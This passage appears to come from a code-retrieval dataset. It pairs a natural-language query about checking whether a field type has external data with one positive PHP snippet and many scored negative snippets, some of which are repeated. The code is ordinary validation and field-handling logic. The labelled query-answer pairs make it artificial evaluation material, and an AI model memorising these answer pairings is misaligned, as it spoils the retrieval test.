andar(){\n\n\t\t}", "title": "" }, { "docid": "bd7a88b75f31784f1e6d53317d7a13a8", "score": "0.5372341", "text": "public function gete();", "title": "" }, { "docid": "642e6b339cb22efd64e3b2e78b6e70e5", "score": "0.5360026", "text": "abstract public function access();", "title": "" }, { "docid": "7fbb83c0902943c3527c999d71b84fca", "score": "0.5351079", "text": "abstract public function perimetro();", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "406a22e1391e856014d86b33d263150b", "score": "0.5350703", "text": "private function __construct(){}", "title": "" }, { "docid": "998eefa591a2415829a4313e6812f1d6", "score": "0.5345187", "text": "protected function _test3()\n {\n }", "title": "" }, { "docid": "b381b072eb78dcdfcac46e7846295bbc", "score": "0.53170085", "text": "abstract protected function _run();", "title": "" }, { "docid": "03f1ec45e4ae0b50f462adb120451115", "score": "0.531248", "text": "private function __construct() \n {\n\t\t\n\t}", "title": "" } ]
2a8e3b8a13febea78907a51cf4ee53bc
Checks if field type has external data to deal with
[ { "docid": "909957f157fe06b310bab9634c533c5f", "score": "0.62995917", "text": "public function hasFieldData()\n {\n return true;\n }", "title": "" } ]
[ { "docid": "f6786f361d33e09ea3a05ea08b6532f8", "score": "0.6489671", "text": "function fieldIsText($fieldname){\n /// \\param[in] $fieldname the name of the field to check\n /// \\return True if the field is a text field, false if the field is numerical, and null if the field does not exist\n if(array_key_exists($fieldname,$this->_fieldtypes)){\n $tmpType = $this->_fieldtypes[$fieldname];\n $charpos = strpos($tmpType,'char');\n $textpos = strpos($tmpType,'text');\n $datepos = strpos($tmpType,'date');\n //logmessage(\"Typename of \" . $fieldname . \" = \" . $tmpType);\n if($charpos || $textpos || ($tmpType == 'date') || ($tmpType == 'timestamp')){\n return true;\n } \n else {\n return false;\n }\n } \n else {\n return null;\n }\n }", "title": "" }, { "docid": "72b7a297cb333ba9093962b070a1cd8b", "score": "0.6223256", "text": "function isDataType(){}", "title": "" }, { "docid": "52dfde941004c69e9e47fcc4ee5fc324", "score": "0.61254686", "text": "abstract public function coversFields();", "title": "" }, { "docid": "1b4b3c90a3030d193dad15f454038beb", "score": "0.6013632", "text": "function hasFields();", "title": "" }, { "docid": "994a03776b9103024a0c78caaaff3e67", "score": "0.6009278", "text": "public function has_field( $field_source );", "title": "" }, { "docid": "c91820d39509af4fdf2515b3747ea01c", "score": "0.58376974", "text": "function is_valid_type( $field_type ) {\r\n\r\n\t\tif ( array_key_exists( $field_type, $this->get_field_types( true ) ) ) return true;\r\n\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "2eaa2be4d9b84f103aaf9194221805da", "score": "0.580184", "text": "abstract public function validDataTypes();", "title": "" }, { "docid": "4faab8e9d49373b149d0c09f9b133a7b", "score": "0.57914597", "text": "public function validate_fields() {\n \n\t\t\n \n\t\t}", "title": "" }, { "docid": "fb5d9cd9e7f17b3edcc9f8483792b6ed", "score": "0.5779151", "text": "public function validateFields(){}", "title": "" }, { "docid": "90aa8b2839785a203a42da3acf23368b", "score": "0.5723326", "text": "public function checkField($table,$field,$type) {\t\n\t\t$this->db = $this->registry->get('db');\n\t\t$exists = false;\n\t\t$query=$this->db->query(\"SHOW columns FROM `\".DB_PREFIX.$table.\"`\");\t\n\t\tforeach($query->rows as $column){\n\t\t\tif($column['Field'] == $field){\n\t\t\t $exists=true;\n\t\t\t}\n\t\t}\n\t\tif($exists==false){\n\t\t$this->db->query(\"ALTER TABLE \".DB_PREFIX.$table.\" ADD `\".$this->db->escape($field).\"` \".$this->db->escape($type));\n\t\t}\n\t}", "title": "" }, { "docid": "98404b23e18e34aae99e51e2405828a9", "score": "0.5694374", "text": "public function validate_fields()\n {\n\n }", "title": "" }, { "docid": "f0cf473aeffda4ff3c47ceb38c65bfee", "score": "0.5691641", "text": "protected function checkFields()\n {\n if (Tools::isEmpty(Tools::getValue('TMINFINITESCROLL_OFFSET'))) {\n $this->_errors[] = $this->l('Field \\'Offset\\' is empty.');\n } elseif (!ValidateCore::isInt(Tools::getValue('TMINFINITESCROLL_OFFSET'))) {\n $this->_errors[] = $this->l('Bad value of \\'Offset\\'.');\n }\n }", "title": "" }, { "docid": "6159aa21b3fb9203696dd41c9493caff", "score": "0.56776226", "text": "public function isField()\n {\n return !$this->isAssociation();\n }", "title": "" }, { "docid": "58943acfb034b25367a8b806770b72f0", "score": "0.56731844", "text": "function __checkUserDefinedRequiredFields()\n\t{\n\t\tinclude_once './Services/User/classes/class.ilUserDefinedFields.php';\n\t\t$this->user_defined_fields =& ilUserDefinedFields::_getInstance();\n\n\t\tforeach($this->user_defined_fields->getDefinitions() as $field_id => $definition)\n\t\t{\n\t\t\tif($definition['required'] and !strlen($_POST['udf'][$field_id]))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "1affa123821791d28088677b3f75e65b", "score": "0.567201", "text": "function cmisro_field_validate($entity_type, $entity, $field, $instance, $lang, &$items, &$errors)\n{\n\tforeach ($items as $delta=>$item) {\n\t\tif (!empty($item['reference'])) {\n $type = _cmisro_referenceType($item['reference']);\n try {\n $o = $type === 'query'\n ? _cmisro_getQuery ($item['reference'])\n : _cmisro_getObject($item['reference']);\n }\n\t\t\tcatch (Exception $e) {\n\t\t\t\t$errors[$field['field_name']][$lang][$delta][] = [\n\t\t\t\t\t'error' => 'unknownAttachment',\n\t\t\t\t\t'message' => \"$instance[label]: {$e->getMessage()}\"\n\t\t\t\t];\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4774242f36c22604c8b36fcb4b169569", "score": "0.56589204", "text": "function isDataValid() \n {\n $isValid = parent::isDataValid();\n \n /*\n * check here for specific cases not covered by simple Field\n * Definitions.\n */\n \n // Example : error checking\n // NOTE: a custom error label [error_UniqueModuleName] is used\n // for the error. This error label is created in the Page Labels\n // form.\n // Make sure that module name doesn't already exist...\n// if ($isValid) {\n \n// $isValid = $this->dataManager->isUniqueModuleName();\n// $this->formErrors[ 'module_name' ] = $this->labels->getLabel( '[error_UniqueModuleName]');\n/// }\n \n // now return result\n return $isValid;\n \n }", "title": "" }, { "docid": "4774242f36c22604c8b36fcb4b169569", "score": "0.56589204", "text": "function isDataValid() \n {\n $isValid = parent::isDataValid();\n \n /*\n * check here for specific cases not covered by simple Field\n * Definitions.\n */\n \n // Example : error checking\n // NOTE: a custom error label [error_UniqueModuleName] is used\n // for the error. This error label is created in the Page Labels\n // form.\n // Make sure that module name doesn't already exist...\n// if ($isValid) {\n \n// $isValid = $this->dataManager->isUniqueModuleName();\n// $this->formErrors[ 'module_name' ] = $this->labels->getLabel( '[error_UniqueModuleName]');\n/// }\n \n // now return result\n return $isValid;\n \n }", "title": "" }, { "docid": "570379cc885e830506e0bfbe6d97b408", "score": "0.565622", "text": "private function ValidType(&$field){\n if (!is_object($field))\n return NULL;\n\n if ($field->unsigned == 1)\n return 'unsigned';\n\n if ($field->type == 'real')\n return 'float';\n\n if ($field->numeric == 1)\n return 'int';\n\n if ($field->name == 'email')\n return 'email';\n\n return NULL;\n }", "title": "" }, { "docid": "16384e08dd0a5ff7276d98d3f66944ce", "score": "0.56484354", "text": "function any_fields() {\n return count($this->fields) > 0;\n }", "title": "" }, { "docid": "f17c1302dc8a09927f5d9c88c11f952b", "score": "0.5622838", "text": "public function is_valid() {\n\t\treturn in_array( $this->get_list_screen()->get_meta_type(), array( 'post', 'user', 'comment', 'term' ) );\n\t}", "title": "" }, { "docid": "5dd3b820ea16b6016d63ac7814244613", "score": "0.5595882", "text": "function checkLinkedTypeData(){\n\t\t \n\t\t if($this->oldTableData){\n\t\t\t\t$itemLinkedData = array();\n\t\t\t\t$oldData = $this->oldTableData;\n\t\t\t\tforeach($oldData[\"records\"] as $uuid => $record){\n\t\t\t\t\t $itemLinkedData[$uuid] = $this->getLinkedTypes($uuid);\n\t\t\t\t}\n\t\t\t\t$this->itemLinkedData = $itemLinkedData;\n\t\t }\n\t }", "title": "" }, { "docid": "1486ffa91e729f24d5a5416fe028c169", "score": "0.55808944", "text": "public function checkField( \\File_MARC_Field $field ) : bool {\n if ( $field->isDataField() ) {\n if ( !$this->checkIndicators( $field ) ) { return FALSE; }\n $subfields = $this->getMatchingSubfields( $field );\n if ( empty( $subfields ) ) { return FALSE; }\n return $this->checkSubfields( $subfields );\n } else {\n return $this->checkControlfield( $field );\n }\n }", "title": "" }, { "docid": "af36453f9bb71b01296ad3ff06bf011e", "score": "0.5571863", "text": "private function is_extended_field( $p_field_name ) {\n\t\tswitch( $p_field_name ) {\n\t\t\tcase 'description':\n\t\t\tcase 'steps_to_reproduce':\n\t\t\tcase 'additional_information':\n\t\t\t\treturn true;\n\t\t\tdefault:\n\t\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "04546920735735255718547e23629e58", "score": "0.55706763", "text": "function hasFields() {\n $names = $this->getWfFieldNames();\n return (bool) sizeof($names);\n }", "title": "" }, { "docid": "763328bc0b41357042cac1e3cac5423b", "score": "0.5565791", "text": "private function __validate_external() {\n if (isset($this->initial_data[\"external\"])) {\n # Require the external address to be either IPv4 or IPv6 address\n if (is_ipaddrv4($this->initial_data[\"external\"]) or is_ipaddrv6($this->initial_data[\"external\"])) {\n $this->validated_data[\"external\"] = $this->initial_data[\"external\"];\n } else {\n $this->errors[] = APIResponse\\get(4082);\n }\n } else {\n $this->errors[] = APIResponse\\get(4081);\n }\n }", "title": "" }, { "docid": "fcc119b4f63cf789302eb7375aa4a016", "score": "0.5558377", "text": "private function checkExternalTypestruct($type)\n\t{\n\t\t$resource = $type;\n\t\t$info \t = ['is_validated' => true, self::TYPE_KEY => $type];\n\t\tif(sizeof($this->info['used_typestructs'])> 0)\n\t\t{\n\t\t\tforeach($this->info['used_typestructs'] as $class)\n\t\t\t{\n\t\t\t\tif(strpos($class, $type) !== false)\n\t\t\t\t{\n\t\t\t\t\t$resource = $class;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$this->checkTSFile($this->getFilePath($resource));\n\t\t$info[self::TYPE_KEY] = $resource;\n\t\treturn $info;\n\t}", "title": "" }, { "docid": "958c6ba4ed64abd6ea957810ad298d9d", "score": "0.5556553", "text": "abstract protected function validateData();", "title": "" }, { "docid": "67302e3c47fd21b654641cc892619699", "score": "0.5553907", "text": "abstract public function getTestableFields();", "title": "" }, { "docid": "f2366c62e86c73193adfb2561f69d628", "score": "0.5531108", "text": "private function _load_fieldtype($field_data, $entry_id)\n\t{\n\n\t\t//\t----------------------------------------\n\t\t//\tSet the default vars\n\t\t//\t----------------------------------------\n\t\t$ft_custom_settings\t= unserialize(base64_decode($field_data['field_settings']));\n\n\t\tunset($field_data['field_settings']);\n\n\t\t$field_data \t\t= array_merge($field_data, $ft_custom_settings);\n\t\t$field_type\t\t\t= $field_data['field_type'];\n\t\t$field_name\t\t\t= 'field_id_' . $field_data['field_id'];\n\t\t$field_id \t\t\t= $field_data['field_id'];\n\n\n\t\t//\t----------------------------------------\n\t\t//\tLoad fieldtype\n\t\t//\t----------------------------------------\n\t\t$class = ee()->api_channel_fields->include_handler($field_type);\n\t\tee()->api_channel_fields->setup_handler($field_type);\n\n\t\t//\t----------------------------------------\n\t\t// \tTell which fieldtype we're dealing with\n\t\t//\t----------------------------------------\n\t\tee()->api_channel_fields->field_type = $field_type;\n\n\t\t//\t----------------------------------------\n\t\t// \tAttach the settings associated with the fieldtype\n\t\t//\t----------------------------------------\n\t\tee()->api_channel_fields->field_types[$field_type]->settings = $field_data;\n\n\t\t//\t----------------------------------------\n\t\t//\tAdd entry_id and other useful data to settings array. \n\t\t//\tUsed for post_save.\n\t\t//\t----------------------------------------\n\t\tee()->api_channel_fields->field_types[$field_type]->settings['entry_id'] = $entry_id;\n\t\tee()->api_channel_fields->field_types[$field_type]->settings['field_name'] = 'field_id_'.$field_id;\n\n\t\t// Can't see where this is getting set properly in the API,\n\t\t// so setting the \"field\"_id here since I have it handy\n\t\tee()->api_channel_fields->apply('_init', array(\n\t\t\tarray(\n\t\t\t\t'id' => $field_id,\n\t\t\t\t'field_id'\t\t=> $field_id,\n\t\t\t\t'field_name'\t=> 'field_id_'.$field_id,\n\t\t\t\t'content_id'\t=> 0,\n\t\t\t\t'content_type'\t=> 'channel'\n\t\t\t)\n\t\t));\n\n\t\treturn $class;\n\t}", "title": "" }, { "docid": "46f70dab5dcd9738fd65b8801fff2d50", "score": "0.55300784", "text": "function onDisplayField(&$field, &$item)\n\t{\n\t\tif ( !in_array($field->field_type, static::$field_types) ) return;\n\t\treturn false;\n\t}", "title": "" }, { "docid": "c1a4ef63f65759c71aa329c0c6424912", "score": "0.55100095", "text": "public function _validateData()\n\t{\n\t}", "title": "" }, { "docid": "8c2fc59cc5b994deb080319c3e65bd5e", "score": "0.55071974", "text": "public function fieldExists($fieldName){}", "title": "" }, { "docid": "8c2fc59cc5b994deb080319c3e65bd5e", "score": "0.5505962", "text": "public function fieldExists($fieldName){}", "title": "" }, { "docid": "8d16ae93f0c8aec15d685ac849ea06f1", "score": "0.5497045", "text": "public function getFieldValidClass();", "title": "" }, { "docid": "3c5999fe8281be615237b75c008421fb", "score": "0.54814905", "text": "public function externalizeFields($fields)\n\t{\n\t\t$result = [];\n\t\t$fieldsInfo = $this->getListFieldInfo($this->getFields(), ['filter'=>['ignoredAttributes'=>[Attributes::Hidden]]]);\n\n\t\tif(is_array($fields) && count($fields)>0)\n\t\t{\n\t\t\tforeach($fields as $name => $value)\n\t\t\t{\n\t\t\t\t$info = isset($fieldsInfo[$name]) ? $fieldsInfo[$name] : null;\n\t\t\t\tif(!$info)\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t/*$attributes = isset($info['ATTRIBUTES']) ? $info['ATTRIBUTES']:[];\n\t\t\t\t$skipAttr = in_array(Attributes::Hidden, $attributes, true);\n\n\t\t\t\tif($skipAttr)\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}*/\n\n\t\t\t\t$type = isset($info['TYPE']) ? $info['TYPE']:'';\n\t\t\t\tif($type === self::TYPE_FILE)\n\t\t\t\t{\n\t\t\t\t\t//externalizeFileField()\n\t\t\t\t}\n\n\t\t\t\t$result[$name] = $value;\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "41eb9297c9c387441027834e8d99f7e8", "score": "0.54813766", "text": "function is_field_displayed($field){\n\tglobal $ref, $resource;\n\t# Field is an archive only field\n\treturn !(($resource[\"archive\"]==0 && $field[\"resource_type\"]==999)\n\t# Field has write access denied\n\t\t|| (checkperm(\"F*\") && !checkperm(\"F-\" . $field[\"ref\"])\n\t\t\t\t&& !($ref < 0 && checkperm(\"P\" . $field[\"ref\"])))\n\t\t|| checkperm(\"F\" . $field[\"ref\"])\n\t# Upload only field\n\t\t|| ($ref < 0 && $field[\"hide_when_uploading\"] && $field[\"required\"]==0)\n\t\t|| hook('edithidefield', '', array('field' => $field))\n\t\t|| hook('edithidefield2', '', array('field' => $field)));\n}", "title": "" }, { "docid": "768b2f75fa16813963b79d3f5f7e417b", "score": "0.5479845", "text": "public function hasFields()\n {\n return !empty($this->fields);\n }", "title": "" }, { "docid": "03792e4fe9f21310c33540ed0da86eb4", "score": "0.54765546", "text": "public function isDefined(): bool\n {\n return !empty($this->definition) && !empty($this->flatFieldDefinition);\n }", "title": "" }, { "docid": "4a6a493bab96ebe978e6bd431c850ce4", "score": "0.54529005", "text": "public function validFieldPost() { return true; }", "title": "" }, { "docid": "cda07a87a325058597911abcdec0d825", "score": "0.54505485", "text": "protected function validDataFromRequest()\n {\n return array_merge([\n 'obj_type'\n ], parent::validDataFromRequest());\n }", "title": "" }, { "docid": "01c2e030b1c65c24aab6498cb69f8d69", "score": "0.54462177", "text": "private function check_cType() {\n $column = $this->ci->input->post('columns');\n if (is_numeric($column[0]['data']))\n return FALSE;\n else\n return TRUE;\n }", "title": "" }, { "docid": "db44a3a272457d8b5954309e6ec8a68b", "score": "0.5438021", "text": "function valid() {\n return key($this->fields) !== null;\n }", "title": "" }, { "docid": "417de38b65c7aaa2b5c0658c7d8264e7", "score": "0.5425265", "text": "public function validate($data = null, $field_type = null, $field_name = null, $field_data = array(), $channel_settings = array(), $is_new = false, $entry_id = 0) \n\t{\n\t\t//get the fieldtype\n\t\t$obj = $this->_get_fieldtype($field_type, $field_data, $entry_id);\n\n\t\t//set the field_name\n\t\t$obj->field_name = $field_name;\n\t\t//set the field_id\n\t\t$obj->field_id = $field_data['field_id'];\n\t\t//set the field data\n\t\t$obj->field_data = $field_data;\n\t\t//set the field settings\n\t\t$obj->field_settings = unserialize(base64_decode($field_data['field_settings']));\n\t\t//set the channel_settings\n\t\t$obj->channel_settings = $channel_settings;\n\t\t//set the type\n\t\t$obj->field_type = $field_type;\n\n\t\t//assign channel data\n\t\t$obj->field_data['channel_settings'] = $this->_assign_channel_settings($entry_id);\n\n\t\t//is the class exists\n\t\tif(method_exists($obj, 'webservice_validate'))\n\t\t{\n\t\t\t//reset errror msg\n\t\t\t$this->validate_error = '';\n\n\t\t\t//validate field\n\t\t\t$validated = $obj->webservice_validate($data, $is_new, $entry_id);\n\n\t\t\t//set the error msg\n\t\t\tif(isset($obj->validate_error))\n\t\t\t{\n\t\t\t\t$this->validate_error = $obj->validate_error;\n\t\t\t}\n\n\t\t\treturn $validated;\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "f32d48dc17e34f82457ee4a8b4a947f3", "score": "0.5397619", "text": "public function testFieldMissingType() {\n $this->expectException(PluginNotFoundException::class);\n $this->expectExceptionMessage(\"Unable to determine class for field type 'foo_field' found in the 'field.field.entity_test_mulrev.entity_test_mulrev.{$this->fieldName}' configuration\");\n $entity = EntityTestMulRev::create([\n 'name' => $this->randomString(),\n 'field_test_item' => $this->randomString(),\n $this->fieldName => $this->randomString(),\n ]);\n $entity->save();\n // Hack the field to use a non-existent field type.\n $this->config('field.field.entity_test_mulrev.entity_test_mulrev.' . $this->fieldName)->set('field_type', 'foo_field')->save();\n \\Drupal::service('entity_field.manager')->clearCachedFieldDefinitions();\n EntityTestMulRev::load($entity->id());\n }", "title": "" }, { "docid": "0c3459a436bcaec51944f7bbed3aba47", "score": "0.5395672", "text": "function feed_field_type_info($type = NULL, $load = FALSE) {\r\n $feed_field_types = &drupal_static(__FUNCTION__);\r\n \r\n if (!isset($feed_field_types)) {\r\n if (false && $cache = cache_get('feed_field_type_info', 'cache')) {\r\n $feed_field_types = $cache->data;\r\n }\r\n else {\r\n foreach (module_implements('feed_field_type_info') as $module) {\r\n foreach (module_invoke($module, 'feed_field_type_info') as $name => $info) {\r\n $info['module'] = $module;\r\n \r\n $feed_field_types[$name] = $info;\r\n }\r\n }\r\n drupal_alter('feed_field_type_info', $feed_field_types);\r\n cache_set('feed_field_type_info', $feed_field_types);\r\n }\r\n }\r\n \r\n if (!empty($type)) {\r\n if (isset($feed_field_types[$type])) {\r\n if (!empty($load) && isset($feed_field_types[$type]['file'])) {\r\n $path = drupal_get_path('module', $feed_field_types[$type]['module']);\r\n $file = $path . DIRECTORY_SEPARATOR . $feed_field_types[$type]['file'];\r\n \r\n if (file_exists($file)) {\r\n include_once($file);\r\n }\r\n else {\r\n watchdog('feed', 'File was not able to be included for feed field type :type', array(':type' => $type));\r\n }\r\n }\r\n return $feed_field_types[$type];\r\n }\r\n return FALSE;\r\n }\r\n else {\r\n return $feed_field_types;\r\n }\r\n}", "title": "" }, { "docid": "12d39bff6b17a91c69ada1219075bedc", "score": "0.53910047", "text": "function isValidTypeDescr($data)//, &$error_message_text)\n {\n $retval = (is_string($data) &&\n _ml_strlen(trim($data)) > 0 &&\n _ml_strlen(trim($data)) < 513);\n return $retval;\n }", "title": "" }, { "docid": "8692c23e2ef65163c9ba9f6bbf21e149", "score": "0.5381444", "text": "function validateDataConstraintsMet( $field, $value ) {\n\t\t$met = true;\n\n\t\tif ( is_array( $this->dataConstraints ) && array_key_exists( $field, $this->dataConstraints ) ) {\n\t\t\t$type = $this->dataConstraints[$field]['type'];\n\t\t\t$length = $this->dataConstraints[$field]['length'];\n\t\t\tswitch ( $type ) {\n\t\t\t\tcase 'numeric' :\n\t\t\t\t\t// @TODO: Determine why the DataValidator's type validation functions are protected.\n\t\t\t\t\t// There is no good answer, use those.\n\t\t\t\t\t// In fact, we should probably just port the whole thing over there. Derp.\n\t\t\t\t\tif ( !is_numeric( $value ) ) {\n\t\t\t\t\t\t$met = false;\n\t\t\t\t\t} elseif ( $field === 'order_id' && $this->getOrderIDMeta( 'disallow_decimals' ) ) { // haaaaaack...\n\t\t\t\t\t\t// it's a numeric string, so all the number functions (like is_float) always return false. Because, string.\n\t\t\t\t\t\tif ( strpos( $value, '.' ) !== false ) {\n\t\t\t\t\t\t\t// we don't want decimals. Something is wrong. Regen.\n\t\t\t\t\t\t\t$met = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'alphanumeric' :\n\t\t\t\t\t// TODO: Something better here.\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t// fail closed.\n\t\t\t\t\t$met = false;\n\t\t\t}\n\n\t\t\tif ( strlen( $value ) > $length ) {\n\t\t\t\t$met = false;\n\t\t\t}\n\t\t}\n\t\treturn $met;\n\t}", "title": "" }, { "docid": "2ed3a1d0459fff6b529ad3d9c6546aab", "score": "0.5378159", "text": "function validate_profile_field($field_type, &$field_value, $field_data)\n\t{\n\t\tswitch ($field_type)\n\t\t{\n\t\t\tcase FIELD_DATE:\n\t\t\t\t$field_validate = explode('-', $field_value);\n\n\t\t\t\t$day = (isset($field_validate[0])) ? (int) $field_validate[0] : 0;\n\t\t\t\t$month = (isset($field_validate[1])) ? (int) $field_validate[1] : 0;\n\t\t\t\t$year = (isset($field_validate[2])) ? (int) $field_validate[2] : 0;\n\n\t\t\t\tif ((!$day || !$month || !$year) && !$field_data['field_required'])\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tif ((!$day || !$month || !$year) && $field_data['field_required'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_REQUIRED';\n\t\t\t\t}\n\n\t\t\t\tif ($day < 0 || $day > 31 || $month < 0 || $month > 12 || ($year < 1901 && $year > 0) || $year > gmdate('Y', time()) + 50)\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_INVALID_DATE';\n\t\t\t\t}\n\n\t\t\t\tif (checkdate($month, $day, $year) === false)\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_INVALID_DATE';\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase FIELD_BOOL:\n\t\t\t\t$field_value = (bool) $field_value;\n\n\t\t\t\tif (!$field_value && $field_data['field_required'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_REQUIRED';\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase FIELD_INT:\n\t\t\t\tif (trim($field_value) === '' && !$field_data['field_required'])\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\t$field_value = (int) $field_value;\n\n\t\t\t\tif ($field_value < $field_data['field_minlen'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_TOO_SMALL';\n\t\t\t\t}\n\t\t\t\telse if ($field_value > $field_data['field_maxlen'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_TOO_LARGE';\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase FIELD_DROPDOWN:\n\t\t\t\t$field_value = (int) $field_value;\n\n\t\t\t\t// retrieve option lang data if necessary\n\t\t\t\tif (!isset($this->options_lang[$field_data['field_id']]) || !isset($this->options_lang[$field_data['field_id']][$field_data['lang_id']]) || !sizeof($this->options_lang[$file_data['field_id']][$field_data['lang_id']]))\n\t\t\t\t{\n\t\t\t\t\t$this->get_option_lang($field_data['field_id'], $field_data['lang_id'], FIELD_DROPDOWN, false);\n\t\t\t\t}\n\n\t\t\t\tif (!isset($this->options_lang[$field_data['field_id']][$field_data['lang_id']][$field_value]))\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_INVALID_VALUE';\n\t\t\t\t}\n\n\t\t\t\tif ($field_value == $field_data['field_novalue'] && $field_data['field_required'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_REQUIRED';\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase FIELD_STRING:\n\t\t\tcase FIELD_TEXT:\n\t\t\t\tif (trim($field_value) === '' && !$field_data['field_required'])\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\telse if (trim($field_value) === '' && $field_data['field_required'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_REQUIRED';\n\t\t\t\t}\n\n\t\t\t\tif ($field_data['field_minlen'] && utf8_strlen($field_value) < $field_data['field_minlen'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_TOO_SHORT';\n\t\t\t\t}\n\t\t\t\telse if ($field_data['field_maxlen'] && utf8_strlen($field_value) > $field_data['field_maxlen'])\n\t\t\t\t{\n\t\t\t\t\treturn 'FIELD_TOO_LONG';\n\t\t\t\t}\n\n\t\t\t\tif (!empty($field_data['field_validation']) && $field_data['field_validation'] != '.*')\n\t\t\t\t{\n\t\t\t\t\t$field_validate = ($field_type == FIELD_STRING) ? $field_value : bbcode_nl2br($field_value);\n\t\t\t\t\tif (!preg_match('#^' . str_replace('\\\\\\\\', '\\\\', $field_data['field_validation']) . '$#i', $field_validate))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn 'FIELD_INVALID_CHARS';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "a093778d1c28edee0cfaef752fbe034e", "score": "0.53735757", "text": "public function core_get_fields($data = false){}", "title": "" }, { "docid": "1159a7656e8eb6759bdddf9655f384cf", "score": "0.53710794", "text": "private static function default_value_needs_translation( $field ) {\n\t\tif ( is_object( $field ) ) {\n\t\t\t$field_type = $field->type;\n\t\t} else {\n\t\t\t$field_type = isset( $field['original_type'] ) ? $field['original_type'] : $field['type'];\n\t\t}\n\n\t\treturn ! in_array( $field_type, array( 'radio', 'checkbox', 'select', 'scale', 'data' ) );\n\t}", "title": "" }, { "docid": "280ba41aeb8e170f115f25dbaeccb41c", "score": "0.5362314", "text": "public function DataIsValid()\n {\n $bDataIsValid = parent::DataIsValid();\n if ($bDataIsValid) {\n $sURL = $this->data;\n if ('/' == mb_substr($sURL, 0, 1)) {\n // we asume a relative url\n $sURL = 'http://'.$_SERVER['HTTP_HOST'].$sURL;\n }\n\n $pattern = '/^(http|https|ftp):\\/\\/([A-Z0-9][A-Z0-9_-]*(?:\\.[A-Z0-9][A-Z0-9_-]*)+):?(\\d+)?\\/?/i';\n if ($this->HasContent() && !preg_match($pattern, $sURL)) {\n $bDataIsValid = false;\n $oMessageManager = TCMSMessageManager::GetInstance();\n $sConsumerName = TCMSTableEditorManager::MESSAGE_MANAGER_CONSUMER;\n $sFieldTitle = $this->oDefinition->GetName();\n $oMessageManager->AddMessage($sConsumerName, 'TABLEEDITOR_FIELD_URL_NOT_VALID', array('sFieldName' => $this->name, 'sFieldTitle' => $sFieldTitle));\n }\n }\n\n return $bDataIsValid;\n }", "title": "" }, { "docid": "b91cae06ab84346dec2afa22081ee940", "score": "0.5360698", "text": "function check_type($type) { \n\n\t\tif ($type == 'public' || $type == 'private') { return true; }\n\t\t\n\t\treturn false; \n\n\t}", "title": "" }, { "docid": "89efd2e3dbe93d1463b1ee9de4f6cf5c", "score": "0.53578377", "text": "function checkUploadError($model, $fieldData)\r\n {\r\n //Undefined index error fixed in checking the size and error field\r\n $fieldData = array_values($fieldData);\r\n $fieldData = $fieldData[0];\r\n extract($this->settings[$model->name]);\r\n if (!$enabled || $_setupError || !is_array($fieldData)) {\r\n return true;\r\n }\r\n if ($fieldData['size'] && $fieldData['error']) {\r\n return false;\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "41c5d66f2fa00a95d23e4dd39809c103", "score": "0.5354518", "text": "protected function isSchemaTypeUsed(): bool\n {\n return false;\n }", "title": "" }, { "docid": "e4440f60943572c4b0bb0fa5d52b135e", "score": "0.5340663", "text": "public function hasType(){\n return $this->_has(4);\n }", "title": "" }, { "docid": 